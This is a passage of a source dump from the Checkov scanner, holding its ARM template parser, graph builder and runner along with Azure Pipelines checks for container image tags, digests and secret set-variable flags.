    "path": "checkov/arm/graph_builder/variable_rendering/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/arm/graph_builder/variable_rendering/renderer.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.arm.graph_builder.graph_components.block_types import BlockType\nfrom checkov.common.graph.graph_builder import Edge\nfrom checkov.common.graph.graph_builder.utils import adjust_value\nfrom checkov.common.graph.graph_builder.variable_rendering.renderer import VariableRenderer\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\n\nif TYPE_CHECKING:\n    from checkov.arm.graph_builder.local_graph import ArmLocalGraph\n\n\nclass ArmVariableRenderer(VariableRenderer[\"ArmLocalGraph\"]):\n    def __init__(self, local_graph: ArmLocalGraph) -> None:\n        super().__init__(local_graph)\n\n    def _render_variables_from_vertices(self) -> None:\n        # need to add rendering to function like format, reference etc\n        pass\n\n    def evaluate_vertex_attribute_from_edge(self, edge_list: list[Edge]) -> None:\n        origin_vertex_attributes = self.local_graph.vertices[edge_list[0].origin].attributes\n        value_to_eval = pickle_deepcopy(origin_vertex_attributes.get(edge_list[0].label, \"\"))\n        attr_path = None\n        for edge in edge_list:\n            attr_path, attr_value = self.extract_dest_attribute_path_and_value(dest_index=edge.dest,\n                                                                               origin_value=value_to_eval)\n            if not attr_value:\n                continue\n\n            '''if the arg start with '[parameters'/ '[variables' its mean we need to eval the all attribute\n            like here - \"addressPrefix\": \"[parameters('subnetAddressPrefix')]\" '''\n            if len(edge_list) == 1 and isinstance(value_to_eval, str) and value_to_eval.startswith((\"[parameters\", \"[variables\")):\n                value_to_eval = attr_value\n                continue\n            '''\n            if the value i need to eval is part of the full attribute like \"[format('{0}/{1}', parameters('vnetName'), variables('subnetName'))]\"\n            or \"[resourceId('Microsoft.Network/networkProfiles', variables('networkProfileName'))]\".\n            vertices[edge.dest].id = variables.networkProfileName -> variables('networkProfileName')\n            '''\n            val_to_replace = self.local_graph.vertices[edge.dest].id.replace(\".\", \"('\") + \"')\"\n            if attr_value and isinstance(value_to_eval, str):\n                value_to_eval = value_to_eval.replace(val_to_replace, str(attr_value))\n\n        self.local_graph.update_vertex_attribute(\n            vertex_index=edge_list[0].origin,\n            attribute_key=edge_list[0].label,\n            attribute_value=value_to_eval,\n            change_origin_id=edge_list[0].dest,\n            attribute_at_dest=attr_path,\n        )\n\n    def extract_dest_attribute_path_and_value(self, dest_index: int, origin_value: Any) -> tuple[str, Any] | tuple[None, None]:\n        vertex = self.local_graph.vertices[dest_index]\n        if vertex.block_type == BlockType.PARAMETER:\n            new_value = vertex.attributes.get(\"defaultValue\")\n            if new_value:\n                new_value = adjust_value(element_name=origin_value, value=new_value)\n                return \"defaultValue\", new_value\n            else:\n                logging.warning(f'No defaultValue for parameter id = {vertex.id}')\n                return \"defaultValue\", None\n        elif vertex.block_type == BlockType.VARIABLE:\n            new_value = adjust_value(element_name=origin_value, value=vertex.attributes.get(\"value\"))\n            return \"value\", new_value\n        return None, None\n\n    def evaluate_non_rendered_values(self) -> None:\n        pass\n"
  },
  {
    "path": "checkov/arm/graph_manager.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Any, Optional\n\nfrom checkov.arm.graph_builder.local_graph import ArmLocalGraph\nfrom checkov.arm.utils import get_scannable_file_paths, get_files_definitions\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.graph.graph_manager import GraphManager\n\nif TYPE_CHECKING:\n    from checkov.common.typing import LibraryGraphConnector\n\n\nclass ArmGraphManager(GraphManager[ArmLocalGraph, \"dict[str, dict[str, Any]]\"]):\n    def __init__(self, db_connector: LibraryGraphConnector, source: str = GraphSource.ARM) -> None:\n        super().__init__(db_connector=db_connector, parser=None, source=source)\n\n    def build_graph_from_source_directory(\n        self,\n        source_dir: str,\n        local_graph_class: type[ArmLocalGraph] = ArmLocalGraph,\n        render_variables: bool = False,\n        parsing_errors: dict[str, Exception] | None = None,\n        download_external_modules: Optional[bool] = False,\n        excluded_paths: list[str] | None = None,\n        **kwargs: Any,\n    ) -> tuple[ArmLocalGraph, dict[str, dict[str, Any]]]:\n        file_paths = get_scannable_file_paths(root_folder=source_dir, excluded_paths=excluded_paths)\n        definitions, _, _ = get_files_definitions(files=file_paths)\n\n        local_graph = self.build_graph_from_definitions(definitions=definitions)\n\n        return local_graph, definitions\n\n    def build_graph_from_definitions(\n        self, definitions: dict[str, dict[str, Any]], render_variables: bool = True\n    ) -> ArmLocalGraph:\n        local_graph = ArmLocalGraph(definitions=definitions)\n        local_graph.build_graph(render_variables=render_variables)\n\n        return local_graph\n"
  },
  {
    "path": "checkov/arm/parser/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/arm/parser/parser.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom pathlib import Path\nfrom typing import Any\n\nfrom yaml.scanner import ScannerError\nfrom yaml import YAMLError\n\nfrom checkov.common.parsers.json import parse as json_parse\nfrom checkov.common.parsers.yaml import loader\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.util.file_utils import read_file_with_any_encoding\n\nLOGGER = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(LOGGER)\n\n\ndef parse(filename: str) -> tuple[dict[str, Any], list[tuple[int, str]]] | tuple[None, None]:\n    \"\"\"Decode filename into an object\"\"\"\n\n    template = None\n    template_lines = None\n    try:\n        template, template_lines = load(filename)\n    except IOError as e:\n        if e.errno == 2:\n            LOGGER.error(f\"Template file not found: {filename}\")\n        elif e.errno == 21:\n            LOGGER.error(f\"Template references a directory, not a file: {filename}\")\n        elif e.errno == 13:\n            LOGGER.error(f\"Permission denied when accessing template file: {filename}\")\n    except UnicodeDecodeError:\n        LOGGER.error(f\"Cannot read file contents: {filename}\")\n    except ScannerError as err:\n        if err.problem in (\"found character '\\\\t' that cannot start any token\", \"found unknown escape character\"):\n            try:\n                result = json_parse(filename, allow_nulls=False)\n                if result:\n                    template, template_lines = result  # type:ignore[assignment]  # this is handled by the next line\n                    if isinstance(template, list):\n                        # should not happen and is more relevant for type safety\n                        template = template[0]\n            except Exception:\n                LOGGER.error(f\"Template {filename} is malformed: {err.problem}\")\n                LOGGER.error(f\"Tried to parse {filename} as JSON\", exc_info=True)\n    except YAMLError:\n        LOGGER.info(f\"Failed to parse {filename}\")\n        LOGGER.debug(\"With Exception\", exc_info=True)\n\n    if template is None or template_lines is None:\n        return None, None\n\n    return template, template_lines\n\n\ndef load(filename: Path | str) -> tuple[dict[str, Any], list[tuple[int, str]]]:\n    \"\"\"\n    Load the given JSON/YAML file\n    \"\"\"\n\n    content = read_file_with_any_encoding(file_path=filename)\n\n    if not all(key in content for key in (\"$schema\", \"contentVersion\")):\n        return {}, []\n\n    file_lines = [(idx + 1, line) for idx, line in enumerate(content.splitlines(keepends=True))]\n\n    template: \"dict[str, Any] | list[dict[str, Any]]\" = loader.loads(content=content)\n    if not template:\n        template = {}\n    if isinstance(template, list):\n        template = template[0]\n\n    return template, file_lines\n"
  },
  {
    "path": "checkov/arm/registry.py",
    "content": "from checkov.arm.base_registry import Registry\n\narm_resource_registry = Registry()\narm_parameter_registry = Registry()\n"
  },
  {
    "path": "checkov/arm/runner.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom collections.abc import Iterable\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, Any, cast\nfrom typing_extensions import TypeAlias  # noqa[TC002]\n\nfrom checkov.arm.graph_builder.definition_context import build_definitions_context\nfrom checkov.arm.graph_builder.graph_to_definitions import convert_graph_vertices_to_definitions\nfrom checkov.arm.graph_builder.local_graph import ArmLocalGraph\nfrom checkov.arm.graph_manager import ArmGraphManager\nfrom checkov.arm.registry import arm_resource_registry, arm_parameter_registry\nfrom checkov.arm.utils import get_scannable_file_paths, get_files_definitions, ARM_POSSIBLE_ENDINGS, ArmElements, \\\n    clean_file_path, filter_failed_checks_with_unrendered_resources\nfrom checkov.common.checks_infra.registry import get_graph_checks_registry\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.output.extra_resource import ExtraResource\nfrom checkov.common.output.graph_record import GraphRecord\nfrom checkov.common.output.record import Record\nfrom checkov.common.output.report import Report\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.runners.base_runner import BaseRunner\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.common.util.secrets import omit_secret_value_from_checks\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.context_parser import ContextParser\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check import BaseCheck\n    from checkov.common.graph.checks_infra.base_check import BaseGraphCheck\n    from checkov.common.graph.checks_infra.registry import BaseRegistry\n    from checkov.common.typing import LibraryGraphConnector, _CheckResult\n\n_ArmContext: TypeAlias = \"dict[str, dict[str, Any]]\"\n_ArmDefinitions: TypeAlias = \"dict[str, dict[str, Any]]\"\n\n\nclass Runner(BaseRunner[_ArmDefinitions, _ArmContext, ArmGraphManager]):\n    check_type = CheckType.ARM  # noqa: CCE003  # a static attribute\n\n    def __init__(\n            self,\n            db_connector: LibraryGraphConnector | None = None,\n            source: str = GraphSource.ARM,\n            graph_class: type[ArmLocalGraph] = ArmLocalGraph,\n            graph_manager: ArmGraphManager | None = None,\n            external_registries: list[BaseRegistry] | None = None,\n    ) -> None:\n        super().__init__(file_extensions=ARM_POSSIBLE_ENDINGS)\n\n        db_connector = db_connector or self.db_connector\n        self.external_registries = external_registries if external_registries else []\n        self.graph_class = graph_class\n        self.graph_manager: \"ArmGraphManager\" = (\n            graph_manager if graph_manager else ArmGraphManager(source=source, db_connector=db_connector)\n        )\n        self.graph_registry = get_graph_checks_registry(self.check_type)\n\n        # need to check, how to support subclass differences\n        self.definitions: _ArmDefinitions = {}\n        self.definitions_raw: \"dict[str, list[tuple[int, str]]]\" = {}\n        self.context: _ArmContext | None = None\n        self.root_folder: \"str | None\" = None\n\n    def run(\n            self,\n            root_folder: str | None = None,\n            external_checks_dir: list[str] | None = None,\n            files: list[str] | None = None,\n            runner_filter: RunnerFilter | None = None,\n            collect_skip_comments: bool = True,\n    ) -> Report | list[Report]:\n        runner_filter = runner_filter or RunnerFilter()\n        if not runner_filter.show_progress_bar:\n            self.pbar.turn_off_progress_bar()\n\n        report = Report(self.check_type)\n        self.root_folder = root_folder\n\n        if not self.context or not self.definitions:\n            files_list: \"Iterable[str]\" = []\n            if external_checks_dir:\n                for directory in external_checks_dir:\n                    arm_resource_registry.load_external_checks(directory)\n\n                    if self.graph_registry:\n                        self.graph_registry.load_external_checks(directory)\n\n            if files:\n                files_list = files.copy()\n\n            if self.root_folder:\n                files_list = get_scannable_file_paths(root_folder=root_folder,\n                                                      excluded_paths=runner_filter.excluded_paths)\n\n            self.definitions, self.definitions_raw, parsing_errors = get_files_definitions(files_list)\n            self.context = build_definitions_context(definitions=self.definitions, definitions_raw=self.definitions_raw)\n            report.add_parsing_errors(parsing_errors)\n\n            if self.graph_registry and self.graph_manager:\n                logging.info(\"Creating ARM graph\")\n                local_graph = self.graph_manager.build_graph_from_definitions(definitions=self.definitions)\n                logging.info(\"Successfully created ARM graph\")\n\n                self.graph_manager.save_graph(local_graph)\n                self.definitions, self.breadcrumbs = convert_graph_vertices_to_definitions(\n                    vertices=local_graph.vertices,\n                    root_folder=root_folder,\n                )\n\n        self.pbar.initiate(len(self.definitions))\n\n        # run Python checks\n        self.add_python_check_results(report=report, runner_filter=runner_filter, root_folder=root_folder)\n\n        # run graph checks\n        if self.graph_registry:\n            self.add_graph_check_results(report=report, runner_filter=runner_filter)\n\n        # Filter failed checks on resources with unrendered string functions\n        # Remove if we ever implement full variable rendering for arm\n        report = filter_failed_checks_with_unrendered_resources(report)\n\n        return report\n\n    def set_definitions_raw(self, definitions_raw: dict[str, list[tuple[int, str]]]) -> None:\n        self.definitions_raw = definitions_raw\n\n    def add_python_check_results(self, report: Report, runner_filter: RunnerFilter, root_folder: str | None) -> None:\n        \"\"\"Adds Python check results to given report\"\"\"\n\n        for arm_file in self.definitions.keys():\n            self.pbar.set_additional_data({\"Current File Scanned\": os.path.relpath(arm_file, root_folder)})\n\n            file_abs_path = Path(arm_file).absolute()\n\n            if isinstance(self.definitions[arm_file], dict):\n                arm_context_parser = ContextParser(arm_file, self.definitions[arm_file], self.definitions_raw[arm_file])\n                logging.debug(f\"Template Dump for {arm_file}: {self.definitions[arm_file]}\")\n\n                if ArmElements.RESOURCES in self.definitions[arm_file]:\n                    arm_context_parser.evaluate_default_parameters()\n\n                    # Split out nested resources from base resource\n                    for resource in self.definitions[arm_file][ArmElements.RESOURCES]:\n                        if isinstance(resource, dict) and \"parent_name\" in resource.keys():\n                            continue\n                        nested_resources = arm_context_parser.search_deep_keys(ArmElements.RESOURCES, resource, [])\n                        if nested_resources:\n                            for nr in nested_resources:\n                                nr_element = nr.pop()\n                                if nr_element:\n                                    for element in nr_element:\n                                        new_resource = element\n                                        if isinstance(new_resource, dict):\n                                            new_resource[\"parent_name\"] = resource.get(\"name\", \"\")\n                                            new_resource[\"parent_type\"] = resource.get(\"type\", \"\")\n                                            self.definitions[arm_file][ArmElements.RESOURCES].append(new_resource)\n\n                    for resource in self.definitions[arm_file][ArmElements.RESOURCES]:\n                        resource_id = arm_context_parser.extract_arm_resource_id(resource)\n                        resource_name = arm_context_parser.extract_arm_resource_name(resource)\n                        if resource_id is None or resource_name is None:\n                            logging.debug(f\"Could not determine 'resource_id' of Resource {resource}\")\n                            continue\n\n                        cleaned_path = clean_file_path(Path(arm_file))\n\n                        report.add_resource(f\"{cleaned_path}:{resource_id}\")\n                        entity_lines_range, entity_code_lines = arm_context_parser.extract_arm_resource_code_lines(\n                            resource\n                        )\n                        if entity_lines_range and entity_code_lines:\n                            # TODO - Variable Eval Message!\n                            variable_evaluations: \"dict[str, Any]\" = {}\n\n                            skipped_checks = ContextParser.collect_skip_comments(resource)\n\n                            results = arm_resource_registry.scan(\n                                arm_file,\n                                {resource_name: resource},\n                                skipped_checks,\n                                runner_filter,\n                                report_type=CheckType.ARM,\n                            )\n\n                            if results:\n                                for check, check_result in results.items():\n                                    record = Record(\n                                        check_id=check.id,\n                                        bc_check_id=check.bc_id,\n                                        check_name=check.name,\n                                        check_result=check_result,\n                                        code_block=entity_code_lines,\n                                        file_path=self.extract_file_path_from_abs_path(cleaned_path),\n                                        file_line_range=entity_lines_range,\n                                        resource=resource_id,\n                                        evaluations=variable_evaluations,\n                                        check_class=check.__class__.__module__,\n                                        file_abs_path=str(file_abs_path),\n                                        severity=check.severity,\n                                    )\n                                    record.set_guideline(check.guideline)\n                                    report.add_record(record=record)\n                            else:\n                                # resources without checks, but not existing ones\n                                report.extra_resources.add(\n                                    ExtraResource(\n                                        file_abs_path=str(file_abs_path),\n                                        file_path=self.extract_file_path_from_abs_path(cleaned_path),\n                                        resource=resource_id,\n                                    )\n                                )\n\n                if ArmElements.PARAMETERS in self.definitions[arm_file]:\n                    parameters = self.definitions[arm_file][ArmElements.PARAMETERS]\n                    for parameter_name, parameter_details in parameters.items():\n                        # TODO - Variable Eval Message!\n                        variable_evaluations = {}\n\n                        resource_id = f\"parameter.{parameter_name}\"\n                        resource_name = cast(str, parameter_name)\n                        entity_lines_range, entity_code_lines = arm_context_parser.extract_arm_resource_code_lines(\n                            parameter_details\n                        )\n\n                        if entity_lines_range and entity_code_lines:\n                            skipped_checks = ContextParser.collect_skip_comments(parameter_details)\n                            results = arm_parameter_registry.scan(\n                                arm_file, {resource_name: parameter_details}, skipped_checks, runner_filter\n                            )\n                            for check, check_result in results.items():\n                                censored_code_lines = omit_secret_value_from_checks(\n                                    check=check,\n                                    check_result=check_result,\n                                    entity_code_lines=entity_code_lines,\n                                    entity_config=parameter_details,\n                                    resource_attributes_to_omit=runner_filter.resource_attr_to_omit,\n                                )\n                                cleaned_path = clean_file_path(Path(arm_file))\n                                self.build_record(\n                                    report=report,\n                                    check=check,\n                                    check_result=check_result,\n                                    code_block=censored_code_lines,\n                                    file_path=self.extract_file_path_from_abs_path(cleaned_path),\n                                    file_abs_path=str(file_abs_path),\n                                    file_line_range=entity_lines_range,\n                                    resource_id=resource_id,\n                                    evaluations=variable_evaluations,\n                                )\n\n            self.pbar.update()\n        self.pbar.close()\n\n    def add_graph_check_results(self, report: Report, runner_filter: RunnerFilter) -> None:\n        \"\"\"Adds graph check results to given report\"\"\"\n\n        graph_checks_results = self.run_graph_checks_results(runner_filter, self.check_type)\n\n        for check, check_results in graph_checks_results.items():\n            for check_result in check_results:\n                entity = check_result[\"entity\"]\n                entity_file_path = entity[CustomAttributes.FILE_PATH]\n                file_abs_path = Path(entity_file_path).absolute()\n                start_line = entity[START_LINE] - 1\n                end_line = entity[END_LINE] - 1\n\n                if CustomAttributes.RESOURCE_TYPE not in entity or CustomAttributes.BLOCK_NAME not in entity:\n                    logging.debug(f\"Could not determine 'resource_id' of Entity {entity_file_path}\")\n                    continue\n\n                self.build_record(\n                    report=report,\n                    check=check,\n                    check_result=check_result,\n                    code_block=self.definitions_raw[entity_file_path][start_line:end_line],\n                    file_path=self.extract_file_path_from_abs_path(clean_file_path(Path(entity_file_path))),\n                    file_abs_path=str(file_abs_path),\n                    file_line_range=[start_line - 1, end_line - 1],\n                    resource_id=f'{entity[CustomAttributes.RESOURCE_TYPE]}.{entity[CustomAttributes.BLOCK_NAME]}',\n                )\n\n    def build_record(\n            self,\n            report: Report,\n            check: BaseCheck | BaseGraphCheck,\n            check_result: _CheckResult,\n            code_block: list[tuple[int, str]],\n            file_path: str,\n            file_abs_path: str,\n            file_line_range: list[int],\n            resource_id: str,\n            evaluations: dict[str, Any] | None = None,\n    ) -> None:\n        record = Record(\n            check_id=check.id,\n            bc_check_id=check.bc_id,\n            check_name=check.name,\n            check_result=check_result,\n            code_block=code_block,\n            file_path=file_path,\n            file_line_range=file_line_range,\n            resource=resource_id,\n            evaluations=evaluations,\n            check_class=check.__class__.__module__,\n            file_abs_path=file_abs_path,\n            severity=check.severity,\n        )\n        if self.breadcrumbs:\n            breadcrumb = self.breadcrumbs.get(record.file_path, {}).get(record.resource)\n            if breadcrumb:\n                record = GraphRecord(record, breadcrumb)\n        record.set_guideline(check.guideline)\n        report.add_record(record=record)\n\n    def extract_file_path_from_abs_path(self, path: Path) -> str:\n        return f\"{os.path.sep}{os.path.relpath(path, self.root_folder)}\"\n"
  },
  {
    "path": "checkov/arm/utils.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nfrom enum import Enum\nfrom typing import Iterable, Callable, Any\nfrom collections.abc import Collection\nfrom pathlib import Path\n\nfrom checkov.arm.parser.parser import parse\nfrom checkov.common.output.report import Report\nfrom checkov.common.runners.base_runner import filter_ignored_paths\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\nfrom checkov.runner_filter import RunnerFilter\n\nARM_POSSIBLE_ENDINGS = [\".json\"]\n\n\nclass ArmElements(str, Enum):\n    OUTPUTS = \"outputs\"\n    PARAMETERS = \"parameters\"\n    RESOURCES = \"resources\"\n    VARIABLES = \"variables\"\n\n    def __str__(self) -> str:\n        # needed, because of a Python 3.11 change\n        return self.value\n\n\ndef get_scannable_file_paths(root_folder: str | None = None, excluded_paths: list[str] | None = None) -> set[str]:\n    \"\"\"Finds ARM files\"\"\"\n\n    file_paths: \"set[str]\" = set()\n    if not root_folder:\n        return file_paths\n\n    for root, d_names, f_names in os.walk(root_folder):\n        filter_ignored_paths(root, d_names, excluded_paths)\n        filter_ignored_paths(root, f_names, excluded_paths)\n        for file in f_names:\n            file_ending = os.path.splitext(file)[1]\n            if file_ending in ARM_POSSIBLE_ENDINGS:\n                file_paths.add(os.path.join(root, file))\n\n    return file_paths\n\n\ndef create_definitions(\n    root_folder: str,\n    files: Collection[Path] | None = None,\n    runner_filter: RunnerFilter | None = None,\n) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]]]:\n    definitions: dict[str, dict[str, Any]] = {}\n    definitions_raw: dict[str, list[tuple[int, str]]] = {}\n    parsing_errors: list[str] = []\n    runner_filter = runner_filter or RunnerFilter()\n\n    if root_folder:\n        file_paths = get_scannable_file_paths(root_folder, runner_filter.excluded_paths)\n        definitions, definitions_raw, parsing_errors = get_files_definitions(files=file_paths)\n\n    if parsing_errors:\n        logging.warning(f\"[arm] found errors while parsing definitions: {parsing_errors}\")\n\n    return definitions, definitions_raw\n\n\ndef get_files_definitions(\n        files: Iterable[str],\n        filepath_fn: Callable[[str], str] | None = None,\n) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]], list[str]]:\n    \"\"\"Parses ARM files into its definitions and raw data\"\"\"\n\n    definitions = {}\n    definitions_raw = {}\n    parsing_errors = []\n\n    for file in files:\n        result = parse(file)\n\n        definition, definition_raw = result\n        if definition is not None and definition_raw is not None:  # this has to be a 'None' check\n            path = filepath_fn(file) if filepath_fn else file\n            definitions[path] = definition\n            definitions_raw[path] = definition_raw\n        else:\n            parsing_errors.append(os.path.normpath(file))\n\n    return definitions, definitions_raw, parsing_errors\n\n\ndef extract_resource_name_from_resource_id_func(resource_id: str) -> str:\n    '''\n        Examples:\n            resourceId('Microsoft.Network/virtualNetworks/', virtualNetworkName) -> virtualNetworkName\n    '''\n    return clean_string(resource_id.split(',')[1].split(')')[0])\n\n\ndef extract_resource_name_from_reference_func(reference: str) -> str:\n    '''\n        Examples:\n                reference('storageAccountName') -> storageAccountName\n                reference('myStorage').primaryEndpoints -> myStorage\n                reference('myStorage', '2022-09-01', 'Full').location -> myStorage\n                reference(resourceId('storageResourceGroup', 'Microsoft.Storage/storageAccounts', 'storageAccountName')), '2022-09-01') -> storageAccountName\n                reference(resourceId('Microsoft.Network/publicIPAddresses', 'ipAddressName')) -> ipAddressName\n    '''\n    resource_name = ')'.join(reference.split('reference(', 1)[1].split(')')[:-1])\n    if 'resourceId' in resource_name:\n        return clean_string(\n            ''.join(resource_name.split('resourceId(', 1)[1].split(')')[0]).split(',')[-1])\n    else:\n        return clean_string(resource_name.split(',')[0].split('/')[-1])\n\n\ndef clean_string(input: str) -> str:\n    return input.replace(\"'\", '').replace(\" \", \"\")\n\n\ndef clean_file_path(file_path: Path) -> Path:\n    path_parts = [part for part in file_path.parts if part not in (\".\", \"..\")]\n\n    return Path(*path_parts)\n\n\ndef filter_failed_checks_with_unrendered_resources(report: Report) -> Report:\n    \"\"\"Returns a new report with filtered checks instead of modifying the original\"\"\"\n    arm_function_patterns = ['toLower(', 'trim(', 'join(', 'split(', 'substring(']\n\n    filtered_report = pickle_deepcopy(report)\n    filtered_report.failed_checks = [\n        check for check in report.failed_checks\n        if not any(func in str(check.resource) for func in arm_function_patterns)\n    ]\n\n    return filtered_report\n"
  },
  {
    "path": "checkov/azure_pipelines/__init__.py",
    "content": "from checkov.azure_pipelines.checks import *  # noqa\n"
  },
  {
    "path": "checkov/azure_pipelines/checks/__init__.py",
    "content": "from checkov.azure_pipelines.checks.job import *  # noqa\n"
  },
  {
    "path": "checkov/azure_pipelines/checks/base_azure_pipelines_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.azure_pipelines.checks.registry import registry\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass BaseAzurePipelinesCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_entities: Iterable[str],\n        block_type: str,\n        path: str | None = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=block_type,\n        )\n        self.path = path\n        registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        self.entity_type = entity_type\n\n        return self.scan_conf(conf)\n\n    @abstractmethod\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        pass\n"
  },
  {
    "path": "checkov/azure_pipelines/checks/job/ContainerDigest.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.azure_pipelines.checks.base_azure_pipelines_check import BaseAzurePipelinesCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass ContainerDigest(BaseAzurePipelinesCheck):\n    def __init__(self) -> None:\n        name = \"Ensure container job uses a version digest\"\n        id = \"CKV_AZUREPIPELINES_2\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=(CheckCategories.SUPPLY_CHAIN,),\n            supported_entities=(\"jobs\", \"stages[].jobs[]\"),\n            block_type=BlockType.ARRAY,\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        container = conf.get(\"container\")\n        if container and isinstance(container, str):\n            if \"@\" in container:\n                return CheckResult.PASSED, conf\n\n            return CheckResult.FAILED, conf\n\n        return CheckResult.UNKNOWN, conf\n\n\ncheck = ContainerDigest()\n"
  },
  {
    "path": "checkov/azure_pipelines/checks/job/ContainerLatestTag.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.azure_pipelines.checks.base_azure_pipelines_check import BaseAzurePipelinesCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass ContainerLatestTag(BaseAzurePipelinesCheck):\n    def __init__(self) -> None:\n        name = \"Ensure container job uses a non latest version tag\"\n        id = \"CKV_AZUREPIPELINES_1\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=(CheckCategories.SUPPLY_CHAIN,),\n            supported_entities=(\"jobs\", \"stages[].jobs[]\"),\n            block_type=BlockType.ARRAY,\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        container = conf.get(\"container\")\n        if container and isinstance(container, dict):\n            container = container.get('image')\n        if container and isinstance(container, str):\n            if \":\" in container:\n                # some image tag\n                if container.split(\":\")[1] == \"latest\":\n                    # latest image tag\n                    return CheckResult.FAILED, conf\n            elif \"@\" not in container:\n                # no image tag\n                return CheckResult.FAILED, conf\n\n            # image tag is either not latest or a digest\n            return CheckResult.PASSED, conf\n\n        return CheckResult.UNKNOWN, conf\n\n\ncheck = ContainerLatestTag()\n"
  },
  {
    "path": "checkov/azure_pipelines/checks/job/DetectImagesUsage.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.azure_pipelines.checks.base_azure_pipelines_check import BaseAzurePipelinesCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass DetectImageUsage(BaseAzurePipelinesCheck):\n    def __init__(self) -> None:\n        name = \"Detecting image usages in azure pipelines workflows\"\n        id = \"CKV_AZUREPIPELINES_5\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=(CheckCategories.SUPPLY_CHAIN,),\n            supported_entities=(\"jobs[]\", \"stages[].jobs[]\", \"*.container[]\"),\n            block_type=BlockType.ARRAY,\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        return CheckResult.PASSED, conf\n\n\ncheck = DetectImageUsage()\n"
  },
  {
    "path": "checkov/azure_pipelines/checks/job/SetSecretVariable.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.azure_pipelines.checks.base_azure_pipelines_check import BaseAzurePipelinesCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass SetSecretVariable(BaseAzurePipelinesCheck):\n    def __init__(self) -> None:\n        name = \"Ensure set variable is not marked as a secret\"\n        id = \"CKV_AZUREPIPELINES_3\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=(CheckCategories.SUPPLY_CHAIN,),\n            supported_entities=(\"jobs[].steps[]\", \"stages[].jobs[].steps[]\"),\n            block_type=BlockType.ARRAY,\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        run_cmd = conf.get(\"bash\") or conf.get(\"powershell\")\n        if run_cmd and isinstance(run_cmd, str):\n            variable_found = False\n\n            for line in run_cmd.splitlines():\n                if \"task.setvariable\" in line:\n                    variable_found = True\n\n                    if \"issecret=true\" in line:\n                        return CheckResult.FAILED, conf\n\n            if variable_found:\n                # should only pass, if it really found a set variable, otherwise unknown\n                return CheckResult.PASSED, conf\n\n        return CheckResult.UNKNOWN, conf\n\n\ncheck = SetSecretVariable()\n"
  },
  {
    "path": "checkov/azure_pipelines/checks/job/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/azure_pipelines/checks/registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.yaml_doc.base_registry import Registry\n\nregistry = Registry(CheckType.AZURE_PIPELINES)\n"
  },
  {
    "path": "checkov/azure_pipelines/common/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/azure_pipelines/common/resource_id_utils.py",
